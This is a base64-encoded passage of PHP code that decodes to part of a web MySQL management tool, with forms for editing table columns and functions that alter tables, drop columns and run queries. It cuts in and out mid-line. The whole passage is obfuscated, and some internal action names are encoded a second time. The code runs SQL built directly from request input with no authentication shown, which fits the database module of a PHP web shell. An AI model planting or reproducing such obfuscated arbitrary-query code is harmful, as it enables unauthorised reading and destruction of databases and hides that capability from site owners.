aWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY